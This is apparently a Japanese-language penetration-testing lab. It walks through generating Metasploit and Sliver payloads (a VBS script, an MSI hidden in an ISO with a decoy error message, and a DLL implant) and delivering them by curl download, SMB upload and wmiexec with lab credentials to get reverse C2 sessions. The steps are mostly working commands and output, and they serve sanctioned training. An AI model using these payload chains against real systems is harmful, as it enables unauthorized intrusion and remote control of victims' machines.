Lab 2.4: Payloads
オンライン演習
接続: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- MSFVenomとMetasploitで利用可能なペイロードオプションを理解する
- 複数の接続を受信するためのMetasploit multi/handlerをセットアップする
- 複数のMetasploit/MSFVenomペイロードを生成する
- Sliverを使用してペイロードを生成し、リモートシステムで実行する
演習ビデオ
演習のセットアップ
使用するVM:
- Linux
- Windows 11
Linux VMから10.130.10.25にpingできることを確認してください:
コマンド
ping -c 4 10.130.10.25
想定される結果
sec560@560vm:~$ ping -c 4 10.130.10.25
PING 10.130.10.25 (10.130.10.25) 56(84) bytes of data.
64 bytes from 10.130.10.25: icmp_seq=1 ttl=127 time=75.1 ms
64 bytes from 10.130.10.25: icmp_seq=2 ttl=127 time=76.7 ms
64 bytes from 10.130.10.25: icmp_seq=3 ttl=127 time=81.0 ms
64 bytes from 10.130.10.25: icmp_seq=4 ttl=127 time=75.6 ms
--- 10.130.10.25 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 75.109/77.108/81.021/2.330 ms
演習 – 段階的な手順
1: 接続を受信するためのMetasploitのセットアップ
まず、ペイロードからの接続を受信するためにMetasploitをセットアップする必要があります。msfconsole
を実行してMetasploitを起動します。
コマンド
msfconsole
Metasploitでは、接続を受信するためにmulti/handler
「エクスプロイト」を使用します。Multi Handlerはエクスプロイトではなく、Metasploitの外部でペイロードを起動する予定であり、接続を受信する準備をする必要があることをMetasploitに伝えるだけです。handlerを使用しましょう。
コマンド
use exploit/multi/handler
想定される結果
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
Metasploitがデフォルトのペイロードとしてgeneric/shell_reverse_tcp
を選択したことに注意してください。これは理想的なペイロードではないため、Meterpreterに変更しましょう。
コマンド
set PAYLOAD windows/meterpreter/reverse_http
想定される結果
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) >
このエクスプロイトとペイロードで利用可能なオプションを見てみましょう。
コマンド
show options
想定される結果
msf6 exploit(multi/handler) > show options
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST eth0 yes The local listener hostname
LPORT 3333 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
ダミーエクスプロイトにはオプションがないことに注意してください。ペイロードについては、ポートとホストを設定する必要があります。LHOST
をeth0
に、LPORT
を3333
に変更しましょう。
コマンド
set LHOST eth0
set LPORT 3333
想定される結果
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > set LPORT 3333
LPORT => 3333
show options
を再度実行して、設定が正しいことを確認します。
コマンド
show options
想定される結果
msf6 exploit(multi/handler) > show options
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.211.128 yes The local listener hostname
LPORT 3333 yes The local listener port
LURI no The HTTP Path
...trimmed for brevity...
eth0
がeth0
インターフェースに関連付けられたIPアドレスに自動的に展開されることに注意してください。
リスナーを再起動する必要がないように、複数の接続を受信するようにリスナーをセットアップできます。これは、ExitOnSession
をfalse
に設定することで実行できます。
コマンド
set ExitOnSession false
想定される結果
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
リスナーをジョブとして(-j
)起動し、新しい接続とやり取りしない(-z
)ようにして起動しましょう。
コマンド
run -j -z
想定される結果
msf6 exploit(multi/handler) > run -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://192.168.211.128:3333
注: IPアドレスは異なります。
**Enter**キーを押すと、通常のMetasploitプロンプトに戻ります。
Metasploitは接続を受信する準備ができました。次にペイロードを作成しましょう。
2: MSFVenomを使用したMetasploitペイロード
このステップでは新しいターミナルを開いてください。Metasploitを実行し続ける必要があります。
msfvenom
を使用して、ローカルのWindows VMで実行されるいくつかのペイロードを生成します。
まず、ペイロードの出力形式を見てみましょう。
コマンド
msfvenom --list formats
想定される結果
sec560@560vm:~$ msfvenom --list formats
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
...truncated for brevity...
通常、Officeドキュメントに配置するVBAマクロを生成し、それをソーシャルエンジニアリングに使用しますが、Windows VMにはOfficeがインストールされていません。マクロの代わりに、マクロをシミュレートしてペイロードを起動するために使用するVBスクリプトを生成しましょう。
コマンド
msfvenom -p windows/meterpreter/reverse_http lhost=eth0 lport=3333 -f vbs | tee /tmp/payload.vbs
想定される結果
ec560@560vm:~$ msfvenom -p windows/meterpreter/reverse_http lhost=eth0 lport=3333 -f vbs | tee /tmp/payload.vbs
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 688 bytes
Final size of vbs file: 7435 bytes
Function oyewXFpWSrY(sXeupskyBvxbPfr)
lOygzhBrBw = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
sXeupskyBvxbPfr & "</B64DECODE>"
Set YJQaBmiVIG = CreateObject("MSXML2.DOMDocument.3.0")
YJQaBmiVIG.LoadXML(lOygzhBrBw)
oyewXFpWSrY = YJQaBmiVIG.selectsinglenode("B64DECODE").nodeTypedValue
set YJQaBmiVIG = nothing
End Function
Function nEwboSQawMor()
PzrbCBAIuacFGKt = "TVqQAAMAAAAEAAAA//8AALg
...trimmed for brevity...
-o
または--out
オプションを使用して出力を直接ファイルに保存することもできましたが、tee
を使用すると、ファイルが書き込まれる際にファイルの内容を確認できます。変数名と関数名が上記の内容とは異なることに注意してください。Metasploitは、フィンガープリントを困難にするために名前をランダム化します。
ファイルをWindowsにコピーしましょう。
3: VBSペイロードをWindowsにコピーして実行する
このステップでは新しいターミナルを開いてください。
/tmp
ディレクトリに移動し、Windowsからアクセスされるファイルを提供するPython Webサーバーを実行しましょう。
コマンド
cd /tmp
python3 -m http.server
想定される結果
sec560@560vm:~$ cd /tmp
sec560@560vm:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Windowsに切り替え、Windowsデスクトップの**Terminal**ショートカットを使用してPowerShellプロンプトを開きます。次に、以下のコマンドを実行します。
コマンド
注: LINUX_ETH0_ADDRESSをLinux VMのeth0
インターフェースのIPアドレスに置き換える必要があります。
curl http://LINUX_ETH0_ADDRESS:8000/payload.vbs -o payload.vbs
想定される結果
PS C:\Users\sec560\Desktop> curl http://LINUX_ETH0_ADDRESS:8000/payload.vbs -o payload.vbs
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7451 100 7451 0 0 159k 0 --:--:-- --:--:-- --:--:-- 161k
cscript
を使用してペイロードを起動しましょう。
コマンド
cscript payload.vbs
想定される結果
PS C:\Users\sec560> cscript .\payload.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
PowerShellターミナルはペイロードを実行しているためハングします。
Linux VM上のMetasploitターミナルに切り替えます。新しいセッションが表示されるはずです。
想定される結果
[*] http://192.168.211.128:3333 handling request from 192.168.211.138; (UUID: uqaqs6nc) Staging x86 payload (177244 bytes) ...
[*] Meterpreter session 1 opened (192.168.211.128:3333 -> 192.168.211.138:30113) at 2024-08-15 00:20:21 +0000
VBScriptペイロードを使用して、WindowsホストでMeterpreterセッションが実行されています。**Enter**キーを押すと、通常のMetasploitプロンプトに戻ります(ただし、ステータスメッセージがプロンプトを上書きしただけなので、必要ありません)。まず、セッションとやり取りする必要があります。この例では、セッションIDは1
です。セッションIDが異なる場合があります。その場合は、1
の代わりに表示される番号を使用してください。
コマンド
sessions -i 1
想定される結果
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
sysinfo
を実行して、セッションに関する基本情報を取得します。
コマンド
sysinfo
想定される結果
meterpreter > sysinfo
Computer : SEC560-WINDOWS
OS : Windows 11 (10.0 Build 26100).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
次に別のペイロードを使用するので、このセッションからexit
しましょう。
コマンド
exit
想定される結果
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.211.138 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(multi/handler) >
4: ISOファイル内のMSIペイロードの作成
msfvenom
を実行したターミナルに切り替えます。MSIインストーラーファイルを生成しましょう。これらのファイルは、他のファイルタイプが無効になっている場合でも、実行が許可される場合があります。
コマンド
msfvenom -p windows/meterpreter/reverse_http LHOST=eth0 LPORT=3333 -f msi -o /tmp/setup.msi
想定される結果
sec560@560vm:~$ msfvenom -p windows/meterpreter/reverse_http LHOST=eth0 LPORT=3333 -f msi -o /tmp/setup.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 519 bytes
Final size of msi file: 159744 bytes
Saved as: /tmp/setup.msi
ISOファイルを作成するには、genisoimage
ツールを使用します。ディレクトリまたは1つ以上のファイルを指定できます。ISOファイル内でmsiファイルを使用します。
コマンド
genisoimage -o /tmp/installer.iso /tmp/setup.msi
想定される結果
sec560@slingshot:~$ genisoimage -o /tmp/installer.iso /tmp/setup.msi
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
252 extents written (0 MB)
Windowsに切り替えて、ファイルをダウンロードして開きましょう。
5: ISOファイルとMSIファイルのダウンロードと開く
PowerShellプロンプトで、Desktopディレクトリに移動してから、ISOファイルをダウンロードします。
コマンド
注: LINUX_ETH0_ADDRESSをLinux VMのeth0
インターフェースのIPアドレスに置き換える必要があります。
cd C:\Users\sec560\Desktop
curl http://LINUX_ETH0_ADDRESS:8000/installer.iso -o installer.iso
想定される結果
PS C:\Users\sec560\> cd C:\Users\sec560\Desktop
PS C:\Users\sec560\Desktop> curl http://LINUX_ETH0_ADDRESS:8000/installer.iso -o installer.iso
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 504k 100 504k 0 0 11.8M 0 --:--:-- --:--:-- --:--:-- 12.0M
デスクトップにinstaller.iso
が表示されます。ファイルをダブルクリックしてマウントします。次に、SETUP.MSI
ファイルをダブルクリックして実行します。
ユーザーアカウント制御プロンプトで**はい**をクリックします。
インストーラーが実行されますが、エラーメッセージが表示されます。
There is a problem with this Windows Installer package. A script required for this install to complete could not be run. Contact your support personnel or package vendor.
このエラーメッセージは想定されています。これは、何も起こらなかったとユーザーに思わせるために使用されます。ただし、Metasploitに切り替えると、新しいMeterpreterセッションが開始されたことがわかります。
想定される結果
[*] http://192.168.211.128:3333 handling request from 192.168.211.138; (UUID: ssdxpyx6) Staging x86 payload (177244 bytes) ...
[*] Meterpreter session 2 opened (192.168.211.128:3333 -> 192.168.211.138:30159) at 2024-08-15 00:25:01 +00
ISOおよびMSIペイロードを使用して、WindowsホストでMeterpreterセッションが実行されています。必要に応じて、**Enter**キーを再度押して、通常のMetasploitプロンプトに戻ることができます。まず、セッションとやり取りする必要があります。この例では、セッションIDは2
です。セッションIDが異なる場合があります。その場合は、2
の代わりに表示される番号を使用してください。
コマンド
sessions -i 2
想定される結果
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
再度、sysinfo
を実行して、このセッションに関する基本情報を取得します。
コマンド
sysinfo
想定される結果
meterpreter > sysinfo
Computer : SEC560-WINDOWS
OS : Windows 11 (10.0 Build 26100).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
次にSliverを使用します。したがって、MeterpreterとMetasploit自体の両方から終了します。
コマンド
exit
exit -y
想定される結果
meterpreter > exit
[*] Shutting down session: 2
[*] 192.168.211.138 - Meterpreter session 2 closed. Reason: User exit
msf6 exploit(multi/handler) > exit -y
6: Sliverとペイロード
Sliverサーバーを起動します。
コマンド
sudo sliver-server
https
を実行してリスナーを起動し、ポート443
でリスナーをセットアップします。
コマンド
https
想定される結果
[server] sliver > https
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #1
[server] sliver >
generate
のオプションを見てみましょう。
コマンド
generate -h
想定される結果
[server] sliver > generate -h
Command: generate <options>
About: Generate a new sliver binary and saves the output to the cwd or a path specified with --save.
...trimmed for brevity...
++ Formats ++
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled with the --os and --format flags.
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
generate --mtls foo.example.com
generate --os windows --arch 64bit --mtls foo.example.com
A Windows DLL can be generated with the following command:
generate --format shared --mtls foo.example.com
To output a MacOS Mach-O executable file, the following command would be used
generate --os mac --mtls foo.example.com
To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
...trimmed for brevity...
++ Formats ++
セクションを見てください。Metasploitで利用できるような幅広い出力オプションがないことに注意してください。Sliverを使用する場合、通常、シェルコードをロードするには別のツールまたは方法が必要です。
ターゲット範囲内のホストの1つで実行するexeファイルを生成しましょう。--skip-symbols
オプションを使用してペイロード生成を高速化します。そうしないと、実行可能ファイルで使用される追加の回避と暗号化のため、ペイロードの生成に1分以上かかる場合があります。実際の環境では、このオプションを使用したくない場合があります。
コマンド
注: LINUX_TUN0_ADDRESSを、10.254.x.x
で始まるLinux VMのtun0
アドレスのIPアドレスに置き換えてください。
generate --os windows --arch 64bit --format shared --skip-symbols --http https://LINUX_TUN0_ADDRESS
想定される結果
[server] sliver > generate --os windows --arch 64bit --format shared --skip-symbols --http https://10.252.252.2
[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 6s
[*] Implant saved to /home/sec560/ADEQUATE_HALIBUT.dll
注: ペイロード名はランダムに生成され、ここに表示されているADEQUATE_HALIBUT.dll
とは異なります。
7: DLLのコピーと実行
このステップでは新しいターミナルを開いてください。
作成されたファイルはrootが所有しており、sec560
ユーザーからアクセスできません。ls -l
を使用してこれを確認しましょう。
コマンド
ls -l *.dll
想定される結果
sec560@560vm:~$ ls -l *.dll
-rwx------ 1 root root 11022336 Aug 15 18:27 ITCHY_COMMAND.dll
rwx
(読み取り、書き込み、実行)権限は、ファイルの所有者であるroot
にのみ適用されることに注意してください。通常のユーザーとしてファイルを操作できるように、ファイルの権限を変更しましょう。
コマンド
sudo chown sec560:sec560 *.dll
ls -l *.dll
想定される結果
sec560@560vm:~$ sudo chown sec560:sec560 *.dll
sec560@560vm:~$ ls -l *.dll
-rwx------ 1 sec560 sec560 11022336 Aug 15 18:27 ITCHY_COMMAND.dll
ファイルの所有者がsec560
であることが確認できます。
Impacketフレームワークの2つのツールを使用します。560.4でツールについて詳しく説明しますが、今ツールを使用する必要があります。
まず、smbclient.py
を使用してファイルをサーバーにコピーします。c$
共有を使用し、ファイルをアップロード(put
)します。
コマンド
注: PAYLOAD_NAME
をSliverによって生成されたファイル名に置き換えてください。
smbclient.py hiboxy/bgreen:Password1@10.130.10.25
use c$
put PAYLOAD_NAME.dll
ls
exit
想定される結果
sec560@560vm:~$ smbclient.py hiboxy/bgreen:Password1@10.130.10.25
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use c$
# put ITCHY_COMMAND.dll
# ls
drw-rw-rw- 0 Wed Jul 10 04:59:10 2024 $Recycle.Bin
drw-rw-rw- 0 Wed Jul 10 04:59:10 2024 $WinREAgent
-rw-rw-rw- 0 Wed Jul 10 04:59:10 2024 $WINRE_BACKUP_PARTITION.MARKER
-rw-rw-rw- 31 Tue Aug 13 09:01:37 2024 BitlockerActiveMonitoringLogs
drw-rw-rw- 0 Wed Jul 10 04:59:10 2024 Boot
-rw-rw-rw- 440456 Wed Jul 10 04:49:27 2024 bootmgr
-rw-rw-rw- 1 Wed Jul 10 04:49:27 2024 BOOTNXT
drw-rw-rw- 0 Tue Aug 13 07:41:47 2024 Documents and Settings
-rw-rw-rw- 12288 Tue Aug 13 08:59:00 2024 DumpStack.log.tmp
drw-rw-rw- 0 Wed Jul 10 04:59:10 2024 EFI
drw-rw-rw- 0 Tue Aug 13 08:56:19 2024 ExchangeSetupLogs
drw-rw-rw- 0 Tue Aug 13 08:23:22 2024 inetpub
-rw-rw-rw- 11022336 Thu Aug 15 23:56:41 2024 ITCHY_COMMAND.dll
[...trimmed for brevity...]
# exit
リモートサーバーのドライブのルートにDLLファイルが表示されるはずです。
別のImpacketツールwmiexec.py
を使用してペイロードを実行しましょう。
コマンド
注: PAYLOAD_NAME
をSliverによって生成されたファイル名に置き換えてください。
wmiexec.py hiboxy/bgreen:Password1@10.130.10.25
regsvr32 PAYLOAD_NAME.dll
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy/bgreen:Password1@10.130.10.25
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> regsvr32 PROPER_BASSINET.dll
サーバーからSliverにセッションが入ってくるのが確認できるはずです。
想定される結果
[*] Session 1698377a PROPER_BASSINET - 10.130.10.25:34340 (mail01) - windows/amd64 - Fri, 16 Aug 2024 00:02:53 UTC
ここでのセッションIDは1698377a
ですが、あなたのものは異なります。すべてのセッション間で一意である限り、最初の文字のみを使用する必要があります。最初の文字の重複の可能性を減らすために、最初の2文字を使用します。
セッションとやり取りしましょう。この例では、短縮されたセッションIDは16
ですが、あなたのものは異なる可能性があります。
コマンド
注: 16
をセッションIDの最初の文字に置き換えてください。
use 16
想定される結果
[server] sliver > use 16
[*] Active session PROPER_BASSINET (1698377a-4047-4afc-8cb5-51d04cc25313)
[server] sliver (PROPER_BASSINET) >
info
を実行して、セッションに関する情報を取得します。表示される情報は、ここに示されているものとは異なります。
コマンド
info
想定される結果
[server] sliver (PROPER_BASSINET) > info
Session ID: 1698377a-4047-4afc-8cb5-51d04cc25313
Name: PROPER_BASSINET
Hostname: mail01
UUID: ec2f74e7-343d-bc60-1675-c092e300c59b
Username: <err>
UID: <err>
GID: <err>
PID: 4952
OS: windows
Version: Server 2016 build 20348 x86_64
Locale: en-US
Arch: amd64
Active C2: https://10.254.252.4
Remote Address: 10.130.10.25:34340
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Fri Aug 16 00:02:53 UTC 2024 (2m0s ago)
Last Checkin: Fri Aug 16 00:04:51 UTC 2024 (2s ago)
クリーンアップするには、セッションから終了し、wmiexec.py
から**CTRL-C**で抜け、Sliverを完全に終了します。
この例では、DLLファイルを使用しました。DLLでregsvr
を使用する代わりに、EXEファイルを生成して直接実行することも簡単にできました。
まとめ
MetasploitとSliverを使用して、さまざまなペイロードを生成しました。見たように、Metasploitとmsfvenomは多くのペイロードオプションを提供します。Sliverなどの他のC2フレームワークには、より限定されたセットがあり、ユーザーは一般的にC2フレームワークからのシェルコードを使用して独自のペイロードを生成する必要があります。